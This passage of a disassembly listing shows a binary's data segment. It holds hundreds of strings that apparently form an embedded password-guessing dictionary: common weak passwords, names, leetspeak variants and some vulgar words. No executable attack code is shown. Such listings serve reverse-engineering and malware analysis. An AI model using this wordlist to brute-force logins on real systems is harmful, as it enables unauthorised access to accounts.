a@_0		db '#@!',0              ; DATA XREF: seg001:0042E09Co
a@_1		db '$#@!',0             ; DATA XREF: seg001:0042E098o
		align 10h
a@_2		db '%$#@!',0            ; DATA XREF: seg001:0042E094o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg001:0042E090o
		align 10h
a@_4		db '&^%$#@!',0          ; DATA XREF: seg001:0042E08Co
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg001:0042E088o
		align 4
asc_42F424	db '$$$',0              ; DATA XREF: seg001:0042E084o
asc_42F428	db '$$',0               ; DATA XREF: seg001:0042E080o
		align 4
asc_42F42C:				; DATA XREF: seg001:0042E07Co
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg001:0042E078o
		align 4
a789_0		db '789+',0             ; DATA XREF: seg001:0042E074o
		align 10h
a0		db '=-0',0              ; DATA XREF: seg001:0042E070o
asc_42F444	db '--++',0             ; DATA XREF: seg001:0042E06Co
		align 4
asc_42F44C	db '-+',0               ; DATA XREF: seg001:0042E068o
		align 10h
asc_42F450	db '----',0             ; DATA XREF: seg001:0042E064o
		align 4
asc_42F458	db '--',0               ; DATA XREF: seg001:0042E05Co
					; seg001:0042E060o
		align 4
asc_42F45C:				; DATA XREF: seg001:0042E058o
		unicode	0, <->,0
asc_42F460	db '++++',0             ; DATA XREF: seg001:0042E054o
		align 4
asc_42F468	db '+++',0              ; DATA XREF: seg001:0042E050o
asc_42F46C	db '++',0               ; DATA XREF: seg001:0042E04Co
		align 10h
asc_42F470:				; DATA XREF: seg001:0042E048o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg001:0042E044o
		align 4
a@_6:					; DATA XREF: sub_40CD3A+22Co
					; seg001:0042E040o
		unicode	0, <@>,0
off_42F47C	dd offset loc_40211F+2	; DATA XREF: seg001:0042E03Co
dword_42F480	dd 2121h		; DATA XREF: seg001:0042E038o
dword_42F484	dd 24234021h, 2A265E25h, 0 ; DATA XREF:	seg001:0042E030o
dword_42F490	dd 24234021h, 265E25h	; DATA XREF: seg001:0042E02Co
dword_42F498	dd 24234021h, 5E25h	; DATA XREF: seg001:0042E028o
dword_42F4A0	dd 24234021h, 25h	; DATA XREF: seg001:0042E024o
dword_42F4A8	dd 234021h		; DATA XREF: seg001:0042E020o
dword_42F4AC	dd 4021h		; DATA XREF: seg001:0042E01Co
dword_42F4B0	dd 21h			; DATA XREF: sub_40CD3A+18Co
					; sub_40CD3A+5B04o ...
dword_42F4B4	dd 25h			; DATA XREF: seg001:0042E014o
aZimmerman	db 'zimmerman',0        ; DATA XREF: seg001:0042E010o
		align 4
aZap		db 'zap',0              ; DATA XREF: seg001:0042E00Co
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg001:0042E008o
aXyz		db 'xyz',0              ; DATA XREF: seg001:0042E004o
					; seg001:0042E4FCo
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg001:0042E000o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg001:0042DFFCo
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg001:0042DFF8o
		align 10h
aTty		db 'tty',0              ; DATA XREF: seg001:0042DFF4o
aTopography	db 'topography',0       ; DATA XREF: seg001:0042DFF0o
		align 10h
aTemptation	db 'temptation',0       ; DATA XREF: seg001:0042DFECo
		align 4
aTelephone	db 'telephone',0        ; DATA XREF: seg001:0042DFE8o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg001:0042DFE4o
		align 4
aSys		db 'sys',0              ; DATA XREF: seg001:0042DFE0o
aSupported	db 'supported',0        ; DATA XREF: seg001:0042DFDCo
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg001:0042DFD8o
		align 10h
aSuperstage	db 'superstage',0       ; DATA XREF: seg001:0042DFD4o
		align 4
aSun		db 'sun',0              ; DATA XREF: seg001:0042DFD0o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg001:0042DFCCo
		align 4
aStratford	db 'stratford',0        ; DATA XREF: seg001:0042DFC8o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg001:0042DFC4o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg001:0042DFC0o
		align 10h
aSheffield	db 'sheffield',0        ; DATA XREF: seg001:0042DFBCo
		align 4
aSal		db 'sal',0              ; DATA XREF: seg001:0042DFB8o
aRochester	db 'rochester',0        ; DATA XREF: seg001:0042DFB4o
		align 4
aRje		db 'rje',0              ; DATA XREF: seg001:0042DFB0o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg001:0042DFACo
		align 10h
aPub		db 'pub',0              ; DATA XREF: seg001:0042DFA8o
aProfessor	db 'professor',0        ; DATA XREF: seg001:0042DFA4o
		align 10h
aPrinceton	db 'princeton',0        ; DATA XREF: seg001:0042DFA0o
		align 4
aPondering	db 'pondering',0        ; DATA XREF: seg001:0042DF9Co
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: seg001:0042DF98o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: seg001:0042DF94o
		align 10h
aPercolate	db 'percolate',0        ; DATA XREF: seg001:0042DF90o
		align 4
aPam		db 'pam',0              ; DATA XREF: seg001:0042DF8Co
aPad		db 'pad',0              ; DATA XREF: seg001:0042DF88o
aOceanography	db 'oceanography',0     ; DATA XREF: seg001:0042DF84o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: seg001:0042DF80o
		align 10h
aNew		db 'new',0              ; DATA XREF: seg001:0042DF7Co
aNet		db 'net',0              ; DATA XREF: seg001:0042DF78o
aMit		db 'mit',0              ; DATA XREF: seg001:0042DF74o
aMgr		db 'mgr',0              ; DATA XREF: seg001:0042DF70o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg001:0042DF6Co
		align 4
aLiz		db 'liz',0              ; DATA XREF: seg001:0042DF68o
aLee		db 'lee',0              ; DATA XREF: seg001:0042DF64o
aLamination	db 'lamination',0       ; DATA XREF: seg001:0042DF60o
		align 10h
aKim		db 'kim',0              ; DATA XREF: seg001:0042DF5Co
aJoy		db 'joy',0              ; DATA XREF: seg001:0042DF54o
aJen		db 'jen',0              ; DATA XREF: seg001:0042DF50o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg001:0042DF4Co
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg001:0042DF48o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg001:0042DF44o
aHappening	db 'happening',0        ; DATA XREF: seg001:0042DF40o
		align 4
aHal		db 'hal',0              ; DATA XREF: seg001:0042DF3Co
aGnu		db 'gnu',0              ; DATA XREF: seg001:0042DF38o
aFun		db 'fun',0              ; DATA XREF: seg001:0042DF34o
aForesight	db 'foresight',0        ; DATA XREF: seg001:0042DF30o
		align 4
aFoolproof	db 'foolproof',0        ; DATA XREF: seg001:0042DF2Co
		align 4
aExtension	db 'extension',0        ; DATA XREF: seg001:0042DF28o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg001:0042DF24o
		align 10h
aEnterprise	db 'enterprise',0       ; DATA XREF: seg001:0042DF20o
		align 4
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg001:0042DF1Co
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg001:0042DF18o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg001:0042DF14o
		align 10h
aDos		db 'dos',0              ; DATA XREF: seg001:0042DF10o
aDog		db 'dog',0              ; DATA XREF: seg001:0042DF0Co
aDiscovery	db 'discovery',0        ; DATA XREF: seg001:0042DF08o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg001:0042DF04o
		align 10h
aDeb		db 'deb',0              ; DATA XREF: seg001:0042DF00o
aCornelius	db 'cornelius',0        ; DATA XREF: seg001:0042DEFCo
		align 10h
aCommrades	db 'commrades',0        ; DATA XREF: seg001:0042DEF8o
		align 4
aChristine	db 'christine',0        ; DATA XREF: seg001:0042DEF4o
		align 4
aChristina	db 'christina',0        ; DATA XREF: seg001:0042DEF0o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg001:0042DEECo
		align 10h
aCatherine	db 'catherine',0        ; DATA XREF: seg001:0042DEE8o
		align 4
aCat		db 'cat',0              ; DATA XREF: seg001:0042DEE4o
aCampanile	db 'campanile',0        ; DATA XREF: seg001:0042DEE0o
		align 4
aCad		db 'cad',0              ; DATA XREF: seg001:0042DEDCo
aBsd		db 'bsd',0              ; DATA XREF: seg001:0042DED8o
aBob		db 'bob',0              ; DATA XREF: seg001:0042DED4o
aBicameral	db 'bicameral',0        ; DATA XREF: seg001:0042DED0o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg001:0042DECCo
		align 10h
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg001:0042DEC8o
		align 4
aAsm		db 'asm',0              ; DATA XREF: seg001:0042DEC4o
aAsd		db 'asd',0              ; DATA XREF: seg001:0042DEC0o
					; seg001:0042E52Co
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg001:0042DEBCo
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg001:0042DEB8o
aAndromache	db 'andromache',0       ; DATA XREF: seg001:0042DEB4o
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg001:0042DEB0o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg001:0042DEACo
		align 4
aAma		db 'ama',0              ; DATA XREF: seg001:0042DEA8o
aAlf		db 'alf',0              ; DATA XREF: seg001:0042DEA4o
aAlbatross	db 'albatross',0        ; DATA XREF: seg001:0042DEA0o
		align 4
aAda		db 'ada',0              ; DATA XREF: seg001:0042DE9Co
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg001:0042DE98o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg001:0042DE94o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg001:0042DE90o
		align 4
aHaxing		db 'haxing',0           ; DATA XREF: seg001:0042DE8Co
		align 4
aHax		db 'hax',0              ; DATA XREF: seg001:0042DE88o
aWh0re		db 'wh0re',0            ; DATA XREF: seg001:0042DE84o
		align 10h
aHo		db 'ho',0               ; DATA XREF: seg001:0042DE80o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg001:0042DE7Co
		align 4
aWindoze95	db 'windoze95',0        ; DATA XREF: seg001:0042DE78o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: seg001:0042DE74o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg001:0042DE70o
		align 10h
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg001:0042DE6Co
		align 4
aWindozexp	db 'windozexp',0        ; DATA XREF: seg001:0042DE68o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: seg001:0042DE64o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg001:0042DE60o
		align 10h
aWindowsme	db 'windowsME',0        ; DATA XREF: seg001:0042DE5Co
		align 4
aWindows2k	db 'windows2k',0        ; DATA XREF: seg001:0042DE58o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg001:0042DE54o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg001:0042DE50o
		align 4
aM_1		db 'M$',0               ; DATA XREF: seg001:0042DE4Co
		align 4
aBilly		db 'billy',0            ; DATA XREF: seg001:0042DE48o
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg001:0042DE44o
aWindoze	db 'windoze',0          ; DATA XREF: seg001:0042DE40o
aWindowz	db 'windowz',0          ; DATA XREF: seg001:0042DE3Co
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg001:0042DE38o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg001:0042DE34o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg001:0042DE30o
		align 10h
aAl3x		db 'Al3x',0             ; DATA XREF: seg001:0042DE2Co
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg001:0042DE28o
		align 10h
aDudette	db 'dudette',0          ; DATA XREF: seg001:0042DE24o
aD00d		db 'd00d',0             ; DATA XREF: seg001:0042DE20o
		align 10h
aLol		db 'lol',0              ; DATA XREF: seg001:0042DE1Co
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg001:0042DE18o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg001:0042DE14o
		align 4
aRosco		db 'Rosco',0            ; DATA XREF: seg001:0042DE10o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg001:0042DE0Co
		align 4
aTestin		db 'testin',0           ; DATA XREF: seg001:0042DE08o
		align 4
aTester		db 'tester',0           ; DATA XREF: seg001:0042DE04o
		align 4
a00000000	db '00000000',0         ; DATA XREF: seg001:0042DE00o
					; seg001:0042E0BCo
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg001:0042DDFCo
		align 10h
aZombie		db 'zombie',0           ; DATA XREF: seg001:0042DDF8o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg001:0042DDF4o
		align 10h
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg001:0042DDF0o
		align 4
aZiggy		db 'ziggy',0            ; DATA XREF: seg001:0042DDECo
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg001:0042DDE8o
		align 10h
aZebra		db 'zebra',0            ; DATA XREF: seg001:0042DDE4o
		align 4
aYoung		db 'young',0            ; DATA XREF: seg001:0042DDE0o
		align 10h
aYosemite	db 'yosemite',0         ; DATA XREF: seg001:0042DDDCo
		align 4
aYolanda	db 'yolanda',0          ; DATA XREF: seg001:0042DDD8o
aYellowst	db 'yellowst',0         ; DATA XREF: seg001:0042DDD4o
		align 10h
aYellow		db 'yellow',0           ; DATA XREF: seg001:0042DDD0o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg001:0042DDCCo
		align 10h
aYang		db 'yang',0             ; DATA XREF: seg001:0042DDC8o
					; seg001:0042E504o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg001:0042DDC4o
					; seg001:0042E500o
		align 10h
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg001:0042DDC0o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg001:0042DDBCo
		align 10h
aXmodem		db 'xmodem',0           ; DATA XREF: seg001:0042DDB8o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg001:0042DDB4o
		align 10h
aXman		db 'xman',0             ; DATA XREF: seg001:0042DDB0o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg001:0042DDACo
		align 10h
aXena		db 'xena',0             ; DATA XREF: seg001:0042DDA8o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg001:0042DDA4o
aWwii		db 'wwii',0             ; DATA XREF: seg001:0042DDA0o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg001:0042DD9Co
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg001:0042DD98o
		align 4
aWork		db 'work',0             ; DATA XREF: seg001:0042DD94o
		align 4
aWorf		db 'worf',0             ; DATA XREF: seg001:0042DD90o
		align 4
aWordperf	db 'wordperf',0         ; DATA XREF: seg001:0042DD8Co
		align 4
aWord		db 'word',0             ; DATA XREF: seg001:0042DD88o
		align 10h
aWoodwind	db 'woodwind',0         ; DATA XREF: seg001:0042DD84o
		align 4
aWood		db 'wood',0             ; DATA XREF: seg001:0042DD80o
		align 4
aWomen		db 'women',0            ; DATA XREF: seg001:0042DD7Co
		align 4
aWombat		db 'wombat',0           ; DATA XREF: seg001:0042DD78o
		align 4
aWoman		db 'woman',0            ; DATA XREF: seg001:0042DD74o
		align 4
aWolverin	db 'wolverin',0         ; DATA XREF: seg001:0042DD70o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: seg001:0042DD6Co
		align 10h
aWizard		db 'wizard',0           ; DATA XREF: seg001:0042DD68o
		align 4
aWithin		db 'within',0           ; DATA XREF: seg001:0042DD64o
		align 10h
aWiseass	db 'wiseass',0          ; DATA XREF: seg001:0042DD60o
aWisconsi	db 'wisconsi',0         ; DATA XREF: seg001:0042DD5Co
		align 4
aWired		db 'wired',0            ; DATA XREF: seg001:0042DD58o
		align 4
aWinston	db 'winston',0          ; DATA XREF: seg001:0042DD54o
aWing		db 'wing',0             ; DATA XREF: seg001:0042DD50o
		align 4
aWine		db 'wine',0             ; DATA XREF: seg001:0042DD4Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: seg001:0042DD48o
aWilma		db 'wilma',0            ; DATA XREF: seg001:0042DD44o
		align 4
aWillie		db 'willie',0           ; DATA XREF: seg001:0042DD40o
		align 4
aWilliams	db 'williams',0         ; DATA XREF: seg001:0042DD3Co
		align 4
aWilliam	db 'william',0          ; DATA XREF: seg001:0042DD38o
aWill		db 'will',0             ; DATA XREF: seg001:0042DD34o
		align 4
aWhore		db 'whore',0            ; DATA XREF: seg001:0042DD30o
		align 10h
aWholesal	db 'wholesal',0         ; DATA XREF: seg001:0042DD2Co
		align 4
aWhitney	db 'whitney',0          ; DATA XREF: seg001:0042DD28o
aWhiting	db 'whiting',0          ; DATA XREF: seg001:0042DD24o
aWhite		db 'white',0            ; DATA XREF: seg001:0042DD20o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: seg001:0042DD1Co
		align 4
aWhatnot	db 'whatnot',0          ; DATA XREF: seg001:0042DD18o
aWhatever	db 'whatever',0         ; DATA XREF: seg001:0042DD14o
		align 10h
aWestern	db 'western',0          ; DATA XREF: seg001:0042DD10o
aWest		db 'west',0             ; DATA XREF: seg001:0042DD0Co
		align 10h
aWerewolf	db 'werewolf',0         ; DATA XREF: seg001:0042DD08o
		align 4
aWendy		db 'wendy',0            ; DATA XREF: seg001:0042DD04o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: seg001:0042DD00o
		align 4
aWell		db 'well',0             ; DATA XREF: seg001:0042DCFCo
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: seg001:0042DCF8o
		align 4
aWeed		db 'weed',0             ; DATA XREF: seg001:0042DCF4o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: seg001:0042DCF0o
		align 10h
aWebpage	db 'webpage',0          ; DATA XREF: seg001:0042DCECo
aWave		db 'wave',0             ; DATA XREF: seg001:0042DCE8o
		align 10h
aWater		db 'water',0            ; DATA XREF: seg001:0042DCE4o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: seg001:0042DCE0o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: seg001:0042DCDCo
		align 4
aWarren		db 'warren',0           ; DATA XREF: seg001:0042DCD8o
		align 4
aWarp		db 'warp',0             ; DATA XREF: seg001:0042DCD4o
		align 4
aWargames	db 'wargames',0         ; DATA XREF: seg001:0042DCD0o
		align 4
aWarfare	db 'warfare',0          ; DATA XREF: seg001:0042DCCCo
aWarez		db 'warez',0            ; DATA XREF: seg001:0042DCC8o
		align 4
aWard		db 'ward',0             ; DATA XREF: seg001:0042DCC4o
		align 10h
aWaco		db 'waco',0             ; DATA XREF: seg001:0042DCC0o
		align 4
aVodka		db 'vodka',0            ; DATA XREF: seg001:0042DCBCo
		align 10h
aVisualba	db 'visualba',0         ; DATA XREF: seg001:0042DCB8o
		align 4
aVisual		db 'visual',0           ; DATA XREF: seg001:0042DCB4o
		align 4
aVisitor	db 'visitor',0          ; DATA XREF: seg001:0042DCB0o
aVirus		db 'virus',0            ; DATA XREF: seg001:0042DCACo
		align 4
aVirginia	db 'virginia',0         ; DATA XREF: seg001:0042DCA8o
		align 10h
aVirgin		db 'virgin',0           ; DATA XREF: seg001:0042DCA4o
		align 4
aVillage	db 'village',0          ; DATA XREF: seg001:0042DCA0o
aVideogam	db 'videogam',0         ; DATA XREF: seg001:0042DC9Co
		align 4
aVideo		db 'video',0            ; DATA XREF: seg001:0042DC98o
		align 4
aVictor		db 'victor',0           ; DATA XREF: seg001:0042DC94o
		align 4
aVicky		db 'vicky',0            ; DATA XREF: seg001:0042DC90o
		align 4
aVertigo	db 'vertigo',0          ; DATA XREF: seg001:0042DC8Co
aVeronica	db 'veronica',0         ; DATA XREF: seg001:0042DC88o
		align 4
aVenus		db 'venus',0            ; DATA XREF: seg001:0042DC84o
		align 10h
aVasant		db 'vasant',0           ; DATA XREF: seg001:0042DC80o
		align 4
aVampire	db 'vampire',0          ; DATA XREF: seg001:0042DC7Co
aValerie	db 'valerie',0          ; DATA XREF: seg001:0042DC78o
aVagina		db 'vagina',0           ; DATA XREF: seg001:0042DC74o
		align 10h
aUucp		db 'uucp',0             ; DATA XREF: seg001:0042DC70o
		align 4
aUtility	db 'utility',0          ; DATA XREF: seg001:0042DC6Co
aUtil		db 'util',0             ; DATA XREF: seg001:0042DC68o
		align 4
aUsmc		db 'usmc',0             ; DATA XREF: seg001:0042DC64o
		align 10h
aUsername	db 'username',0         ; DATA XREF: seg001:0042DC60o
		align 4
aUsermane	db 'usermane',0         ; DATA XREF: seg001:0042DC5Co
		align 4
aUsenet		db 'usenet',0           ; DATA XREF: seg001:0042DC58o
		align 10h
aUrsula		db 'ursula',0           ; DATA XREF: seg001:0042DC54o
		align 4
aUrchin		db 'urchin',0           ; DATA XREF: seg001:0042DC50o
		align 10h
aUranus		db 'uranus',0           ; DATA XREF: seg001:0042DC4Co
		align 4
aUpload		db 'upload',0           ; DATA XREF: seg001:0042DC48o
		align 10h
aUnlock		db 'unlock',0           ; DATA XREF: seg001:0042DC44o
		align 4
aUnknown_0	db 'unknown',0          ; DATA XREF: seg001:0042DC40o
aUniversi	db 'universi',0         ; DATA XREF: seg001:0042DC3Co
		align 4
aUniverse	db 'universe',0         ; DATA XREF: seg001:0042DC38o
		align 4
aUniversa	db 'universa',0         ; DATA XREF: seg001:0042DC34o
		align 4
aUniform	db 'uniform',0          ; DATA XREF: seg001:0042DC30o
aUnicorn	db 'unicorn',0          ; DATA XREF: seg001:0042DC2Co
aUnhappy	db 'unhappy',0          ; DATA XREF: seg001:0042DC28o
aUndo		db 'undo',0             ; DATA XREF: seg001:0042DC24o
		align 4
aUncle		db 'uncle',0            ; DATA XREF: seg001:0042DC20o
		align 4
aUmesh		db 'umesh',0            ; DATA XREF: seg001:0042DC1Co
		align 4
aUgly		db 'ugly',0             ; DATA XREF: seg001:0042DC18o
		align 4
aTuttle		db 'tuttle',0           ; DATA XREF: seg001:0042DC14o
		align 4
aTurn		db 'turn',0             ; DATA XREF: seg001:0042DC10o
		align 4
aTuesday	db 'tuesday',0          ; DATA XREF: seg001:0042DC0Co
aTubas		db 'tubas',0            ; DATA XREF: seg001:0042DC08o
		align 4
aTruth		db 'truth',0            ; DATA XREF: seg001:0042DC04o
		align 4
aTrue		db 'true',0             ; DATA XREF: seg001:0042DC00o
		align 4
aTron		db 'tron',0             ; DATA XREF: seg001:0042DBFCo
		align 4
aTrombone	db 'trombone',0         ; DATA XREF: seg001:0042DBF8o
		align 10h
aTrojan		db 'trojan',0           ; DATA XREF: seg001:0042DBF4o
		align 4
aTrivial	db 'trivial',0          ; DATA XREF: seg001:0042DBF0o
aTrisha		db 'trisha',0           ; DATA XREF: seg001:0042DBECo
		align 4
aTrek		db 'trek',0             ; DATA XREF: seg001:0042DBE8o
		align 10h
aTree		db 'tree',0             ; DATA XREF: seg001:0042DBE4o
		align 4
aTrapdoor	db 'trapdoor',0         ; DATA XREF: seg001:0042DBE0o
		align 4
aTrap		db 'trap',0             ; DATA XREF: seg001:0042DBDCo
		align 4
aTransfer	db 'transfer',0         ; DATA XREF: seg001:0042DBD8o
		align 4
aTrails		db 'trails',0           ; DATA XREF: seg001:0042DBD4o
		align 10h
aTracy		db 'tracy',0            ; DATA XREF: seg001:0042DBD0o
		align 4
aTracie		db 'tracie',0           ; DATA XREF: seg001:0042DBCCo
		align 10h
aTraci		db 'traci',0            ; DATA XREF: seg001:0042DBC8o
		align 4
aToyota		db 'toyota',0           ; DATA XREF: seg001:0042DBC4o
					; seg001:0042E4D4o
		align 10h
aToxic		db 'toxic',0            ; DATA XREF: seg001:0042DBC0o
		align 4
aTortoise	db 'tortoise',0         ; DATA XREF: seg001:0042DBBCo
		align 4
aTopograp	db 'topograp',0         ; DATA XREF: seg001:0042DBB8o
		align 10h
aTomato		db 'tomato',0           ; DATA XREF: seg001:0042DBB4o
		align 4
aTokenrin	db 'tokenrin',0         ; DATA XREF: seg001:0042DBB0o
		align 4
aToken		db 'token',0            ; DATA XREF: seg001:0042DBACo
		align 4
aToggle		db 'toggle',0           ; DATA XREF: seg001:0042DBA8o
		align 4
aToad		db 'toad',0             ; DATA XREF: seg001:0042DBA4o
		align 4
aTits		db 'tits',0             ; DATA XREF: seg001:0042DBA0o
		align 4
aTina		db 'tina',0             ; DATA XREF: seg001:0042DB9Co
		align 4
aTime		db 'time',0             ; DATA XREF: seg001:0042DB98o
		align 4
aTiger		db 'tiger',0            ; DATA XREF: seg001:0042DB94o
					; seg001:0042E4C8o
		align 4
aTiffany	db 'tiffany',0          ; DATA XREF: seg001:0042DB90o
aThursday	db 'thursday',0         ; DATA XREF: seg001:0042DB8Co
		align 10h
aThin		db 'thin',0             ; DATA XREF: seg001:0042DB88o
		align 4
aTheresa	db 'theresa',0          ; DATA XREF: seg001:0042DB84o
aThailand	db 'thailand',0         ; DATA XREF: seg001:0042DB80o
		align 4
aText		db 'text',0             ; DATA XREF: seg001:0042DB7Co
		align 4
aTetris		db 'tetris',0           ; DATA XREF: seg001:0042DB78o
		align 4
aTess		db 'tess',0             ; DATA XREF: seg001:0042DB74o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: seg001:0042DB70o
		align 10h
aTerminal	db 'terminal',0         ; DATA XREF: seg001:0042DB6Co
		align 4
aTera		db 'tera',0             ; DATA XREF: seg001:0042DB68o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: seg001:0042DB64o
		align 4
aTemptati	db 'temptati',0         ; DATA XREF: seg001:0042DB60o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: seg001:0042DB5Co
		align 10h
aTelephon	db 'telephon',0         ; DATA XREF: seg001:0042DB58o
		align 4
aTeenage	db 'teenage',0          ; DATA XREF: seg001:0042DB54o
aTeen		db 'teen',0             ; DATA XREF: seg001:0042DB50o
		align 4
aTech		db 'tech',0             ; DATA XREF: seg001:0042DB4Co
		align 4
aTears		db 'tears',0            ; DATA XREF: seg001:0042DB48o
		align 4
aTeapot		db 'teapot',0           ; DATA XREF: seg001:0042DB44o
		align 4
aTeam		db 'team',0             ; DATA XREF: seg001:0042DB40o
		align 4
aTaylor		db 'taylor',0           ; DATA XREF: seg001:0042DB38o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: seg001:0042DB34o
		align 10h
aTarget		db 'target',0           ; DATA XREF: seg001:0042DB30o
		align 4
aTara		db 'tara',0             ; DATA XREF: seg001:0042DB2Co
		align 10h
aTape		db 'tape',0             ; DATA XREF: seg001:0042DB28o
		align 4
aTango		db 'tango',0            ; DATA XREF: seg001:0042DB24o
		align 10h
aTangerin	db 'tangerin',0         ; DATA XREF: seg001:0042DB20o
		align 4
aTammy		db 'tammy',0            ; DATA XREF: seg001:0042DB1Co
		align 4
aTamie		db 'tamie',0            ; DATA XREF: seg001:0042DB18o
		align 4
aTami		db 'tami',0             ; DATA XREF: seg001:0042DB14o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: seg001:0042DB10o
		align 4
aTall		db 'tall',0             ; DATA XREF: seg001:0042DB0Co
		align 4
aTalk		db 'talk',0             ; DATA XREF: seg001:0042DB08o
		align 4
aTabasco	db 'tabasco',0          ; DATA XREF: seg001:0042DB04o
aSysop		db 'sysop',0            ; DATA XREF: seg001:0042DB00o
		align 4
aSysadmin	db 'sysadmin',0         ; DATA XREF: seg001:0042DAFCo
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: seg001:0042DAF8o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: seg001:0042DAF4o
		align 4
aSword		db 'sword',0            ; DATA XREF: seg001:0042DAF0o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: seg001:0042DAECo
		align 4
aSweat		db 'sweat',0            ; DATA XREF: seg001:0042DAE8o
		align 4
aSwearer	db 'swearer',0          ; DATA XREF: seg001:0042DAE4o
aSuzie		db 'suzie',0            ; DATA XREF: seg001:0042DAE0o
		align 4
aSuzanne	db 'suzanne',0          ; DATA XREF: seg001:0042DADCo
aSusie		db 'susie',0            ; DATA XREF: seg001:0042DAD8o
		align 4
aSusanne	db 'susanne',0          ; DATA XREF: seg001:0042DAD4o
aSusan		db 'susan',0            ; DATA XREF: seg001:off_4254E0o
					; seg001:0042DAD0o
		align 4
aSurfing	db 'surfing',0          ; DATA XREF: seg001:0042DACCo
aSurfer		db 'surfer',0           ; DATA XREF: seg001:0042DAC8o
		align 4
aSupporte	db 'supporte',0         ; DATA XREF: seg001:0042DAC4o
		align 10h
aSupport	db 'support',0          ; DATA XREF: seg001:0042DAC0o
aSupervis	db 'supervis',0         ; DATA XREF: seg001:0042DABCo
		align 4
aSuperuse	db 'superuse',0         ; DATA XREF: seg001:0042DAB8o
		align 10h
aSupersta	db 'supersta',0         ; DATA XREF: seg001:0042DAB4o
		align 4
aSuperson	db 'superson',0         ; DATA XREF: seg001:0042DAB0o
		align 4
aSuperman	db 'superman',0         ; DATA XREF: seg001:0042DAACo
		align 4
aSunday		db 'sunday',0           ; DATA XREF: seg001:0042DAA8o
		align 4
aSummer		db 'summer',0           ; DATA XREF: seg001:0042DAA4o
		align 4
aSucks		db 'sucks',0            ; DATA XREF: seg001:0042DAA0o
		align 4
aSuckmydi	db 'suckmydi',0         ; DATA XREF: seg001:0042DA9Co
		align 4
aSuck		db 'suck',0             ; DATA XREF: seg001:0042DA98o
		align 10h
